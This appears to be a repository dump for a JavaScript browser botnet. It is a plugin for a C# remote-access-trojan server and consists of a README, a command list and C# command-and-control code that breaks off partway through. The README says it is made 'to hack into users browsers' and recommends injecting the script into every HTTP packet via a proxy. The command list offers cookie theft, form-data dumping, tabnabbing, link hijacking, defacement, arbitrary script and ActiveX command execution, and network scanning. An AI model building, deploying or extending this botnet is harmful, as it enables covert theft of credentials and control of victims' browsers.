├── .gitattributes
├── .gitignore
├── CODE_OF_CONDUCT.md
├── CONTRIBUTING.md
├── Commands.md
├── LICENSE
├── README.md
├── WebPlugin.sln
└── WebPlugin
├── Class1.cs
├── Properties
└── AssemblyInfo.cs
├── WebPlugin.csproj
└── bin
└── Debug
├── WebPlugin.dll
├── c# R.A.T Browser
├── main.js
└── testSite.html
└── sCore.dll
/.gitattributes:
--------------------------------------------------------------------------------
1 | ###############################################################################
2 | # Set default behavior to automatically normalize line endings.
3 | ###############################################################################
4 | * text=auto
5 |
6 | ###############################################################################
7 | # Set default behavior for command prompt diff.
8 | #
9 | # This is need for earlier builds of msysgit that does not have it on by
10 | # default for csharp files.
11 | # Note: This is only used by command line
12 | ###############################################################################
13 | #*.cs diff=csharp
14 |
15 | ###############################################################################
16 | # Set the merge driver for project and solution files
17 | #
18 | # Merging from the command prompt will add diff markers to the files if there
19 | # are conflicts (Merging from VS is not affected by the settings below, in VS
20 | # the diff markers are never inserted). Diff markers may cause the following
21 | # file extensions to fail to load in VS. An alternative would be to treat
22 | # these files as binary and thus will always conflict and require user
23 | # intervention with every merge. To do so, just uncomment the entries below
24 | ###############################################################################
25 | #*.sln merge=binary
26 | #*.csproj merge=binary
27 | #*.vbproj merge=binary
28 | #*.vcxproj merge=binary
29 | #*.vcproj merge=binary
30 | #*.dbproj merge=binary
31 | #*.fsproj merge=binary
32 | #*.lsproj merge=binary
33 | #*.wixproj merge=binary
34 | #*.modelproj merge=binary
35 | #*.sqlproj merge=binary
36 | #*.wwaproj merge=binary
37 |
38 | ###############################################################################
39 | # behavior for image files
40 | #
41 | # image files are treated as binary by default.
42 | ###############################################################################
43 | #*.jpg binary
44 | #*.png binary
45 | #*.gif binary
46 |
47 | ###############################################################################
48 | # diff behavior for common document formats
49 | #
50 | # Convert binary document formats to text before diffing them. This feature
51 | # is only available from the command line. Turn it on by uncommenting the
52 | # entries below.
53 | ###############################################################################
54 | #*.doc diff=astextplain
55 | #*.DOC diff=astextplain
56 | #*.docx diff=astextplain
57 | #*.DOCX diff=astextplain
58 | #*.dot diff=astextplain
59 | #*.DOT diff=astextplain
60 | #*.pdf diff=astextplain
61 | #*.PDF diff=astextplain
62 | #*.rtf diff=astextplain
63 | #*.RTF diff=astextplain
64 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 |
4 | # User-specific files
5 | *.suo
6 | *.user
7 | *.userosscache
8 | *.sln.docstates
9 |
10 | # User-specific files (MonoDevelop/Xamarin Studio)
11 | *.userprefs
12 |
13 | # Build results
14 | #[Dd]ebug/
15 | [Dd]ebugPublic/
16 | [Rr]elease/
17 | [Rr]eleases/
18 | x64/
19 | x86/
20 | bld/
21 | #[Bb]in/
22 | [Oo]bj/
23 | [Ll]og/
24 |
25 | # Visual Studio 2015 cache/options directory
26 | .vs/
27 | # Uncomment if you have tasks that create the project's static files in wwwroot
28 | #wwwroot/
29 |
30 | # MSTest test Results
31 | [Tt]est[Rr]esult*/
32 | [Bb]uild[Ll]og.*
33 |
34 | # NUNIT
35 | *.VisualState.xml
36 | TestResult.xml
37 |
38 | # Build Results of an ATL Project
39 | [Dd]ebugPS/
40 | [Rr]eleasePS/
41 | dlldata.c
42 |
43 | # DNX
44 | project.lock.json
45 | project.fragment.lock.json
46 | artifacts/
47 |
48 | *_i.c
49 | *_p.c
50 | *_i.h
51 | *.ilk
52 | *.meta
53 | *.obj
54 | *.pch
55 | *.pdb
56 | *.pgc
57 | *.pgd
58 | *.rsp
59 | *.sbr
60 | *.tlb
61 | *.tli
62 | *.tlh
63 | *.tmp
64 | *.tmp_proj
65 | *.log
66 | *.vspscc
67 | *.vssscc
68 | .builds
69 | *.pidb
70 | *.svclog
71 | *.scc
72 |
73 | # Chutzpah Test files
74 | _Chutzpah*
75 |
76 | # Visual C++ cache files
77 | ipch/
78 | *.aps
79 | *.ncb
80 | *.opendb
81 | *.opensdf
82 | *.sdf
83 | *.cachefile
84 | *.VC.db
85 | *.VC.VC.opendb
86 |
87 | # Visual Studio profiler
88 | *.psess
89 | *.vsp
90 | *.vspx
91 | *.sap
92 |
93 | # TFS 2012 Local Workspace
94 | $tf/
95 |
96 | # Guidance Automation Toolkit
97 | *.gpState
98 |
99 | # ReSharper is a .NET coding add-in
100 | _ReSharper*/
101 | *.[Rr]e[Ss]harper
102 | *.DotSettings.user
103 |
104 | # JustCode is a .NET coding add-in
105 | .JustCode
106 |
107 | # TeamCity is a build add-in
108 | _TeamCity*
109 |
110 | # DotCover is a Code Coverage Tool
111 | *.dotCover
112 |
113 | # NCrunch
114 | _NCrunch_*
115 | .*crunch*.local.xml
116 | nCrunchTemp_*
117 |
118 | # MightyMoose
119 | *.mm.*
120 | AutoTest.Net/
121 |
122 | # Web workbench (sass)
123 | .sass-cache/
124 |
125 | # Installshield output folder
126 | [Ee]xpress/
127 |
128 | # DocProject is a documentation generator add-in
129 | DocProject/buildhelp/
130 | DocProject/Help/*.HxT
131 | DocProject/Help/*.HxC
132 | DocProject/Help/*.hhc
133 | DocProject/Help/*.hhk
134 | DocProject/Help/*.hhp
135 | DocProject/Help/Html2
136 | DocProject/Help/html
137 |
138 | # Click-Once directory
139 | publish/
140 |
141 | # Publish Web Output
142 | *.[Pp]ublish.xml
143 | *.azurePubxml
144 | # TODO: Comment the next line if you want to checkin your web deploy settings
145 | # but database connection strings (with potential passwords) will be unencrypted
146 | #*.pubxml
147 | *.publishproj
148 |
149 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
150 | # checkin your Azure Web App publish settings, but sensitive information contained
151 | # in these scripts will be unencrypted
152 | PublishScripts/
153 |
154 | # NuGet Packages
155 | *.nupkg
156 | # The packages folder can be ignored because of Package Restore
157 | **/packages/*
158 | # except build/, which is used as an MSBuild target.
159 | !**/packages/build/
160 | # Uncomment if necessary however generally it will be regenerated when needed
161 | #!**/packages/repositories.config
162 | # NuGet v3's project.json files produces more ignoreable files
163 | *.nuget.props
164 | *.nuget.targets
165 |
166 | # Microsoft Azure Build Output
167 | csx/
168 | *.build.csdef
169 |
170 | # Microsoft Azure Emulator
171 | ecf/
172 | rcf/
173 |
174 | # Windows Store app package directories and files
175 | AppPackages/
176 | BundleArtifacts/
177 | Package.StoreAssociation.xml
178 | _pkginfo.txt
179 |
180 | # Visual Studio cache files
181 | # files ending in .cache can be ignored
182 | *.[Cc]ache
183 | # but keep track of directories ending in .cache
184 | !*.[Cc]ache/
185 |
186 | # Others
187 | ClientBin/
188 | ~$*
189 | *~
190 | *.dbmdl
191 | *.dbproj.schemaview
192 | *.jfm
193 | *.pfx
194 | *.publishsettings
195 | node_modules/
196 | orleans.codegen.cs
197 |
198 | # Since there are multiple workflows, uncomment next line to ignore bower_components
199 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
200 | #bower_components/
201 |
202 | # RIA/Silverlight projects
203 | Generated_Code/
204 |
205 | # Backup & report files from converting an old project file
206 | # to a newer Visual Studio version. Backup files are not needed,
207 | # because we have git ;-)
208 | _UpgradeReport_Files/
209 | Backup*/
210 | UpgradeLog*.XML
211 | UpgradeLog*.htm
212 |
213 | # SQL Server files
214 | *.mdf
215 | *.ldf
216 |
217 | # Business Intelligence projects
218 | *.rdl.data
219 | *.bim.layout
220 | *.bim_*.settings
221 |
222 | # Microsoft Fakes
223 | FakesAssemblies/
224 |
225 | # GhostDoc plugin setting file
226 | *.GhostDoc.xml
227 |
228 | # Node.js Tools for Visual Studio
229 | .ntvs_analysis.dat
230 |
231 | # Visual Studio 6 build log
232 | *.plg
233 |
234 | # Visual Studio 6 workspace options file
235 | *.opt
236 |
237 | # Visual Studio LightSwitch build output
238 | **/*.HTMLClient/GeneratedArtifacts
239 | **/*.DesktopClient/GeneratedArtifacts
240 | **/*.DesktopClient/ModelManifest.xml
241 | **/*.Server/GeneratedArtifacts
242 | **/*.Server/ModelManifest.xml
243 | _Pvt_Extensions
244 |
245 | # Paket dependency manager
246 | .paket/paket.exe
247 | paket-files/
248 |
249 | # FAKE - F# Make
250 | .fake/
251 |
252 | # JetBrains Rider
253 | .idea/
254 | *.sln.iml
255 |
256 | # CodeRush
257 | .cr/
258 |
259 | # Python Tools for Visual Studio (PTVS)
260 | __pycache__/
261 | *.pyc
--------------------------------------------------------------------------------
/CODE_OF_CONDUCT.md:
--------------------------------------------------------------------------------
1 | # Contributor Covenant Code of Conduct
2 |
3 | ## Our Pledge
4 |
5 | In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation.
6 |
7 | ## Our Standards
8 |
9 | Examples of behavior that contributes to creating a positive environment include:
10 |
11 | * Using welcoming and inclusive language
12 | * Being respectful of differing viewpoints and experiences
13 | * Gracefully accepting constructive criticism
14 | * Focusing on what is best for the community
15 | * Showing empathy towards other community members
16 |
17 | Examples of unacceptable behavior by participants include:
18 |
19 | * The use of sexualized language or imagery and unwelcome sexual attention or advances
20 | * Trolling, insulting/derogatory comments, and personal or political attacks
21 | * Public or private harassment
22 | * Publishing others' private information, such as a physical or electronic address, without explicit permission
23 | * Other conduct which could reasonably be considered inappropriate in a professional setting
24 |
25 | ## Our Responsibilities
26 |
27 | Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
28 |
29 | Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
30 |
31 | ## Scope
32 |
33 | This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
34 |
35 | ## Enforcement
36 |
37 | Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at ghost@mcghost.ddns.net. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
38 |
39 | Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
40 |
41 | ## Attribution
42 |
43 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version]
44 |
45 | [homepage]: http://contributor-covenant.org
46 | [version]: http://contributor-covenant.org/version/1/4/
47 |
--------------------------------------------------------------------------------
/CONTRIBUTING.md:
--------------------------------------------------------------------------------
1 | # Contribution
2 | **Thank you for considering contribution to the Javascript Botnet C\# Project!**
3 | ## How to contribute?
4 | It's very simple!
5 | 1. Fork the project
6 | 2. Make the changes
7 | 3. Issue a pull request
8 | 4. I will do a merge after verifying (in some cases changing) the code
9 | ## How to report bugs?
10 | You can simply use the *Issues* section on github
11 | Just write an issue, and i will try to respond within 24 hours!
12 | ## How to contribute? (without writing code)
13 | You can also do this on the *Issues* section, and i will label it as *enhancement*
14 | This way you can suggest new features, or change an older one without coding.
15 | I will try to respond within 24 hours!
16 | ## How to run / compile
17 | I use Visual Studio 2017 Community Edition.
18 | The program is written in c\# and built with .NET Framework 4.5
19 | For the client side you can use any modern browser and the text editor of your choice
20 | Any additional requirements can be found under WebPlugin/bin/debug
21 | ## How to ask questions?
22 | You can also use the *Issues* section on GitHub, i will assign a label to it, so it's different from bugs.
23 | I will try to respond within 24 hours!
24 | You can also contact me at my [Youtube Channel](https://www.youtube.com/channel/UCYIOySp8zTTWJG5-n8wpZ2g)
25 | Either a comment on the video about the topic, or a message at the *Discussion* section on my channel page
26 |
--------------------------------------------------------------------------------
/Commands.md:
--------------------------------------------------------------------------------
1 | # Complete list of commands for the Javascript botent
2 | `test` - Test the connection between the server and the client
3 | `alert [message]` - Display a classic alert box with the specified message
4 | `push-html [html content/local html file path]` - Replace the page with the specified content (kind of deface i guess)
5 | `append-html [html content/local html file path]` - Append html content at the end of the page
6 | `get-site` - Display the url of the current site
7 | `get-cookie` - Read cookies from the current site
8 | `form-infect` - Infect the form with a data dumping code
9 | **Note:** Results are sent when the form is submitted, then it gets saved at TutServer/formDump.txt with all field names, values and the clientID which submitted the form
10 | `get-info` - Get the screen size of the target
11 | `check-pop-up` - Check if a pop-up window can be displayed
12 | `check-activex` - Check if an ActiveX command can be executed / accepeted by the user/browser
13 | `play-audio [audio file link]` - Play's an audio file from the specified link
14 | `hijack-link [target link]` - Replace all links on the site with the specified link
15 | `prompt [message]` - Display a basic prompt with the specified message
16 | **Note:** The client will return the text the user responded with to the prompt.
17 | `redirect [target link]` - Redirect the page to the specified link
18 | `geolocate` - Try to get the users position latitude and longitude
19 | **Note:** The user will see a dialog and gets presented with yes/no if responds with yes you get the location, else you get an error permission denied.
20 | Results are sent when we got location or the user cancelled the prompt, if you switch the controlled client the result will still get displayed.
21 | `execute-js [javascript code/local javascript file]` - Execute raw javascript in the browser
22 | `ipscan [3rd octet]` - Scan the network for online IPs
23 | **Note:** The program can only work with 255.255.0.0 subnet mask meaning that you can't specify the first two octets.
24 | The last octet gets scanned from 0 to 254 and you can specify the 3rd octet
25 | `ipscan` - Scan the network for common class C Adresses
26 | **Note:** This will only try the popular 3rd octets: xxx.xxx.0, 1, 10 match is not 100% chance
27 | `port-scan [IP Address] [port Number]` - Scans a specific port for a specific IP
28 | **Note:** Some ports a blocked by the browsers in this case the bot will respond with a message like "blocked by browser" and not port closed.
29 | `prevent-close` - Prevents the closing of the tab
30 | **Note:** This doesn't really work science browsers block this kind of behavior, becauase scammers used it to keep their page open.
31 | But the user can still choose to stay on the page, so that's why i left it in.
32 | `tabnab [target link] [wait time in seconds]` - redirects the page to the specified link after a speified time of inaactivity
33 | `execute-ax [command]` - Execute a command with ActiveX only on window and IE
34 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Advanced Hacking 101 Project Licence
2 | short and simple
3 | You are free to do anything with this project, as long as you credit me and the project
4 | Links to the project are enough
5 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Javascript Botent
2 | This is a botnet based on javascript to hack into users browsers.
3 | This project is a plug-in for the [C# R.A.T Server](https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Server) Project.
4 | Some key functions are:
5 | - TabNabbing
6 | - Form Data Dumping
7 | - Replacing and adding html content
8 |
9 | ## Installation
10 | ### Server Side
11 | 1. Put the WebPlugin.dll file from WebPlugin/bin/Debug into TutServer/bin/Debug/scripts
12 | 2. Start TutServer.exe
13 | 3. Switch to the tab "Plugins"
14 | 4. Select WebPlugin.dll from the list
15 | 5. Click Execute
16 | 6. Enter a port for the server to run on for example **80**
17 |
18 | **Note:** this is a separate socket server from the normal windows and linux client one, choose a different port from 100
19 | This is only a plugin and using it is **optional**, it won't break the c# R.A.T Server in any cases
20 |
21 | ### Client Side
22 | We have 2 options here:
23 | - Create a test website which loads WebPlugin/bin/Debug/C# R.A.T Browser/main.js (btw. testSite.html does this)
24 | - Or inject main.js into every http packet with for example the [C# Proxy Server](https://github.com/AdvancedHacker101/C-Sharp-Proxy-Server)
25 |
26 | **Note:** Don't forget to re-write the ip and port in the main.js file, it's in a variable named serverLocation at the 17th line
27 | For additional resources read:
28 | - [The Code of Conduct](https://github.com/AdvancedHacker101/Javascript-Botnet-C-Sharp/blob/master/CODE_OF_CONDUCT.md)
29 | - [How to contribute](https://github.com/AdvancedHacker101/Javascript-Botnet-C-Sharp/blob/master/CONTRIBUTING.md)
30 | - [The licence file](https://github.com/AdvancedHacker101/Javascript-Botnet-C-Sharp/blob/master/LICENSE)
31 | - [Complete list of commands](https://github.com/AdvancedHacker101/Javascript-Botnet-C-Sharp/blob/master/Commands.md)
32 |
--------------------------------------------------------------------------------
/WebPlugin.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.26430.12
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "WebPlugin", "WebPlugin\WebPlugin.csproj", "{2B32ECDE-4912-4142-8A86-28DFBA7B6B15}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {2B32ECDE-4912-4142-8A86-28DFBA7B6B15}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {2B32ECDE-4912-4142-8A86-28DFBA7B6B15}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {2B32ECDE-4912-4142-8A86-28DFBA7B6B15}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {2B32ECDE-4912-4142-8A86-28DFBA7B6B15}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | EndGlobal
23 |
--------------------------------------------------------------------------------
/WebPlugin/Class1.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Threading;
6 | using sCore;
7 | using System.Net.Sockets;
8 | using sCore.IO;
9 | using System.Windows.Forms;
10 | using System.Net;
11 | using System.Drawing;
12 | using System.IO;
13 |
14 | namespace WebPlugin
15 | {
16 | ///
17 | /// Multiple same key allowing dictionary from proxyServer project
18 | ///
19 | public class VDictionary //String only
20 | {
21 | List> kvp = new List>();
22 | public IEnumerable> Items
23 | {
24 | get
25 | {
26 | foreach (KeyValuePair lvp in kvp)
27 | {
28 | yield return lvp;
29 | }
30 | }
31 | }
32 |
33 | public int Count
34 | {
35 | get { return kvp.Count; }
36 | }
37 |
38 | public List Keys
39 | {
40 | get
41 | {
42 | List temp = new List();
43 | foreach (KeyValuePair lvp in kvp)
44 | {
45 | temp.Add(lvp.Key);
46 | }
47 |
48 | return temp;
49 | }
50 | }
51 |
52 | public List Values
53 | {
54 | get
55 | {
56 | List temp = new List();
57 | foreach (KeyValuePair lvp in kvp)
58 | {
59 | temp.Add(lvp.Value);
60 | }
61 |
62 | return temp;
63 | }
64 | }
65 |
66 | public string this[string index]
67 | {
68 | get
69 | {
70 | return At(index);
71 | }
72 |
73 | set
74 | {
75 | SetOne(index, value);
76 | }
77 | }
78 |
79 | public void SetOne(string key, string newText)
80 | {
81 | int i = 0;
82 | bool canSet = false;
83 |
84 | foreach (KeyValuePair lvp in kvp)
85 | {
86 | if (lvp.Key == key)
87 | {
88 | canSet = true;
89 | break;
90 | }
91 | i++;
92 | }
93 |
94 | if (canSet) SetByIndex(i, newText);
95 | }
96 |
97 | public void SetByIndex(int index, string newText)
98 | {
99 | kvp[index] = new KeyValuePair(kvp[index].Key, newText);
100 | }
101 |
102 | public void SetByIndex(int[] indicies, string[] newText)
103 | {
104 | int loopIndex = 0;
105 | foreach (int i in indicies)
106 | {
107 | SetByIndex(i, newText[loopIndex]);
108 | loopIndex++;
109 | }
110 | }
111 |
112 | public void SetAll(string key, string value)
113 | {
114 | foreach (KeyValuePair lvp in kvp)
115 | {
116 | if (lvp.Key == key)
117 | {
118 | SetOne(key, value);
119 | }
120 | }
121 | }
122 |
123 | ///
124 | /// Add's an element into the Dictionary
125 | ///
126 | /// The key of the element (can be a duplicate)
127 | /// The value of the element (can be a dublicate)
128 |
129 | public void Add(string key, string value)
130 | {
131 | KeyValuePair current = new KeyValuePair(key, value);
132 | kvp.Add(current);
133 | }
134 |
135 | ///
136 | /// Remove's the first element having the same key as specified
137 | ///
138 | /// The key of the element to be removed
139 |
140 | public void RemoveByKey(string key)
141 | {
142 | int index = 0;
143 | bool canRemove = false;
144 | foreach (KeyValuePair lvp in kvp)
145 | {
146 | if (lvp.Key == key)
147 | {
148 | canRemove = true;
149 | break;
150 | }
151 |
152 | index++;
153 | }
154 |
155 | if (canRemove) kvp.RemoveAt(index);
156 | }
157 |
158 | ///
159 | /// Remove's all element having the same key as specified
160 | ///
161 | /// The key of the element(s) you want to remove
162 |
163 | public void RemoveAllByKey(string key)
164 | {
165 | List temp = new List();
166 | int index = 0;
167 |
168 | foreach (KeyValuePair lvp in kvp)
169 | {
170 | if (lvp.Key == key)
171 | {
172 | temp.Add(index);
173 | }
174 |
175 | index++;
176 | }
177 |
178 | if (temp.Count > 0)
179 | {
180 | RemoveByIndex(temp.ToArray());
181 | }
182 | }
183 |
184 | ///
185 | /// Remove's all element from the dictionary
186 | ///
187 |
188 | public void Clear()
189 | {
190 | kvp.Clear();
191 | }
192 |
193 | ///
194 | /// Remove's an element with the specified index form the dictionary
195 | ///
196 | /// The index of the item you want ot remove
197 |
198 | public void RemoveByIndex(int index)
199 | {
200 | kvp.RemoveAt(index);
201 | }
202 |
203 | ///
204 | /// Remove's multiple items specified by the indices array
205 | ///
206 | /// The int array of the element id's which you want to remove
207 |
208 | public void RemoveByIndex(int[] indicies)
209 | {
210 | for (int i = 0; i < indicies.Length; i++)
211 | {
212 | int cIndex = indicies[i];
213 | kvp.RemoveAt(cIndex);
214 | for (int c = i; c < indicies.Length; c++)
215 | {
216 | int lci = indicies[c];
217 | if (lci > cIndex)
218 | {
219 | indicies[c] -= 1;
220 | }
221 | }
222 | }
223 | }
224 |
225 | ///
226 | /// Read's the first element with the specified key
227 | ///
228 | /// The key of the element
229 | /// String value
230 |
231 | public string At(string key)
232 | {
233 | int index = 0;
234 |
235 | foreach (KeyValuePair lvp in kvp)
236 | {
237 | if (lvp.Key == key)
238 | {
239 | return At(index);
240 | }
241 |
242 | index++;
243 | }
244 |
245 | return null;
246 | }
247 |
248 | ///
249 | /// Read's the value of an element based on the index specified
250 | ///
251 | /// Index of the element
252 | /// String value
253 |
254 | public string At(int index)
255 | {
256 | if (index >= kvp.Count || kvp.Count == 0) return null;
257 | string value = kvp[index].Value;
258 | return value;
259 | }
260 |
261 | ///
262 | /// Read's multiple items with the same key
263 | ///
264 | /// The key of the item(s)
265 | /// String array of values
266 |
267 | public IEnumerable GetMultipleItems(string key)
268 | {
269 | int index = 0;
270 |
271 | foreach (KeyValuePair lvp in kvp)
272 | {
273 | if (lvp.Key == key)
274 | {
275 | yield return At(index);
276 | }
277 |
278 | index++;
279 | }
280 | }
281 |
282 | ///
283 | /// Read's multiple items based on the indeicies
284 | ///
285 | /// The indicies of the requested values
286 | /// String array of values
287 |
288 | public IEnumerable GetMultipleItems(int[] indicies)
289 | {
290 | foreach (int i in indicies)
291 | {
292 | yield return kvp[i].Value;
293 | }
294 | }
295 |
296 | ///
297 | /// Read's wheter you have at least one element with the specified key
298 | ///
299 | /// The key of the element you want to search
300 | /// True if element with the key is present
301 |
302 | public bool ContainsKey(string key)
303 | {
304 | foreach (KeyValuePair lvp in kvp)
305 | {
306 | if (lvp.Key == key) return true;
307 | }
308 |
309 | return false;
310 | }
311 |
312 | ///
313 | /// Read's wheter at least one element with the same value exists
314 | ///
315 | /// The value of the element to search
316 | /// True if the value is in at least on of the elements
317 |
318 | public bool ContainsValue(string value)
319 | {
320 | foreach (KeyValuePair lvp in kvp)
321 | {
322 | if (lvp.Value == value) return true;
323 | }
324 |
325 | return false;
326 | }
327 | }
328 |
329 | public class JSBotnetMessageEventArgs
330 | {
331 | private string _botMessage;
332 | private string _clientID;
333 | private Dictionary _rawResponse;
334 |
335 | public JSBotnetMessageEventArgs(string botMessage, string clientID, Dictionary rawResponse)
336 | {
337 | BotMessage = botMessage;
338 | ClientID = clientID;
339 | RawResponse = rawResponse;
340 | }
341 |
342 | public string BotMessage { get { return _botMessage; } private set { _botMessage = value; } }
343 | public string ClientID { get { return _clientID; } private set { _clientID = value; } }
344 | public Dictionary RawResponse { get { return _rawResponse; } private set { _rawResponse = value; } }
345 | }
346 |
347 | ///
348 | /// Main Plugin Class
349 | ///
350 | public class Class1 : IPluginMain
351 | {
352 | #region Global Variables
353 |
354 | //Define plugin variables
355 | public string ScriptName { get; set; } = "Javascript Bot Connector";
356 | public Version Scriptversion { get; set; } = new Version(1, 0);
357 | public string AuthorName { get; set; } = "Advanced Hacking 101";
358 | public Permissions[] ScriptPermissions { get; set; } = { Permissions.Display };
359 | public string ScriptDescription { get; set; } = "Provides connection/interaction with Javascript botnets";
360 | ///
361 | /// Socket for http server
362 | ///
363 | private Socket _serverSocket;
364 | ///
365 | /// List of client IDs and last comms date
366 | ///
367 | private Dictionary _clientList = new Dictionary();
368 | ///
369 | /// Command list for clients to execute
370 | ///
371 | private VDictionary commandPoll = new VDictionary();
372 | private int reservedIds = 0;
373 | ///
374 | /// If true, admin can't send new commands
375 | ///
376 | private bool blockCommands = false;
377 | private object pollLock = new object();
378 | ///
379 | /// The currently selected client by the admin
380 | ///
381 | private string currentClient = "";
382 | ///
383 | /// Reference to the output box
384 | ///
385 | private RichTextBox output;
386 | ///
387 | /// Reference to the client selection
388 | ///
389 | private ComboBox peerList;
390 | ///
391 | /// Plugin API access token
392 | ///
393 | private string pluginToken;
394 | ///
395 | /// Indicates if display permissions are given
396 | ///
397 | private bool canDisplay = true;
398 | ///
399 | /// If true threads will stop on the next loop
400 | ///
401 | private bool threadStop = false;
402 | ///
403 | /// Token for api ownership
404 | ///
405 | private string apiToken = "";
406 | ///
407 | /// Index of the default permission checker
408 | ///
409 | private const int pDefault = 0;
410 | ///
411 | /// Index of server control permission checker
412 | ///
413 | private const int pServerControl = 1;
414 | ///
415 | /// Index of command sending permission checker
416 | ///
417 | private const int pJSBot = 2;
418 | ///
419 | /// Delegate for JS Client messages received
420 | ///
421 | /// The message event args
422 | public delegate void JSBotMessage(JSBotnetMessageEventArgs e);
423 | ///
424 | /// Delegate for returning string arrays
425 | ///
426 | /// String array
427 | public delegate string[] StringArrayReturnDelegate();
428 | ///
429 | /// Event for reading incoming client messages
430 | ///
431 | public event JSBotMessage JSBotnetMessageReceived;
432 | ///
433 | /// A list of tokens allowed to send commands to JS Botnets
434 | ///
435 | private List jsAllowedTokens = new List();
436 |
437 | #endregion
438 |
439 | ///
440 | /// Plugin Entry point
441 | ///
442 | public void Main()
443 | {
444 | pluginToken = sCore.Integration.Integrate.SetPlugin(this); //Generate token and register plugin
445 | apiToken = sCore.Utils.ExternalAPIs.CreateOwnerKey(); //Generate api ownership key
446 | PublishAPI(); //Publish External API Functions
447 | //Check if display permission is given
448 | if (!sCore.Integration.Integrate.GrantedEveryPermission(pluginToken, this)) canDisplay = false;
449 | else canDisplay = true;
450 | sCore.Integration.MainFunction main = new sCore.Integration.MainFunction(PMain); //Create a new Plugin Main function
451 | sCore.Integration.Integrate.StartPluginThread(main); //Start the plugin thread
452 | Console.WriteLine("Init completed"); //Debug message
453 | }
454 |
455 | ///
456 | /// Get a list of connected clients
457 | ///
458 | /// String array of active online clients
459 | [sCore.Utils.ExternalAPIs.ExternAPI(FunctionName = "JSBotnet.GetClients", PermissionCheckerID = 0)]
460 | public string[] XGetClientList()
461 | {
462 | TabControl tc = sCore.UI.CommonControls.mainTabControl;
463 |
464 | if (tc.InvokeRequired)
465 | {
466 | StringArrayReturnDelegate sard = new StringArrayReturnDelegate(XGetClientList);
467 | return (string[])tc.Invoke(sard, null);
468 | }
469 |
470 | return _clientList.Keys.ToArray();
471 | }
472 |
473 | ///
474 | /// Control a specified client
475 | ///
476 | /// The ID of the client to control
477 | [sCore.Utils.ExternalAPIs.ExternAPI(FunctionName = "JSBotnet.ControlClient", PermissionCheckerID = 1)]
478 | public void XControlClient(string clientID)
479 | {
480 | TabControl tc = sCore.UI.CommonControls.mainTabControl;
481 |
482 | if (!_clientList.ContainsKey(clientID)) return;
483 |
484 | if (tc.InvokeRequired)
485 | {
486 | tc.Invoke(new StringDelegate(XControlClient), new object[] { clientID });
487 | return;
488 | }
489 |
490 | currentClient = clientID;
491 | peerList.SelectedItem = clientID;
492 | }
493 |
494 | ///
495 | /// Send commands to JS Botnets
496 | ///
497 | /// The id of the client to send the command to
498 | /// The command to send to the client
499 | [sCore.Utils.ExternalAPIs.ExternAPI(FunctionName = "JSBotnet.SendCommand", PermissionCheckerID = 2)]
500 | public void XSendCommand(string clientID, string command)
501 | {
502 | TabControl tc = sCore.UI.CommonControls.mainTabControl;
503 |
504 | if (!_clientList.ContainsKey(clientID)) return;
505 |
506 | if (tc.InvokeRequired)
507 | {
508 | tc.Invoke(new String2Delegate(XSendCommand), new object[] { clientID, command });
509 | return;
510 | }
511 |
512 | TextBox t = new TextBox();
513 | t.Text = command;
514 | KeyDownHandler(t, new KeyEventArgs(Keys.Return));
515 | }
516 |
517 | ///
518 | /// Get the full output screen
519 | ///
520 | /// The output screen text
521 | [sCore.Utils.ExternalAPIs.ExternAPI(FunctionName = "JSBotnet.GetOutput", PermissionCheckerID = 0)]
522 | public string XGetOutput()
523 | {
524 | TabControl tc = sCore.UI.CommonControls.mainTabControl;
525 |
526 | if (tc.InvokeRequired)
527 | {
528 | return (string)tc.Invoke(new StringReturnDelegate(XGetOutput), null);
529 | }
530 |
531 | return output.Text;
532 | }
533 |
534 | ///
535 | /// Permission Checker Function for command sending to JS Botnets
536 | ///
537 | /// The plugin token of the calling plugin
538 | /// True if the plugin has permission, otherwise false
539 | public bool JSBotPermission(string token)
540 | {
541 | if (jsAllowedTokens.Contains(token)) return true; //The token is already registered
542 |
543 | if (canDisplay) //Ask the admin for approval
544 | {
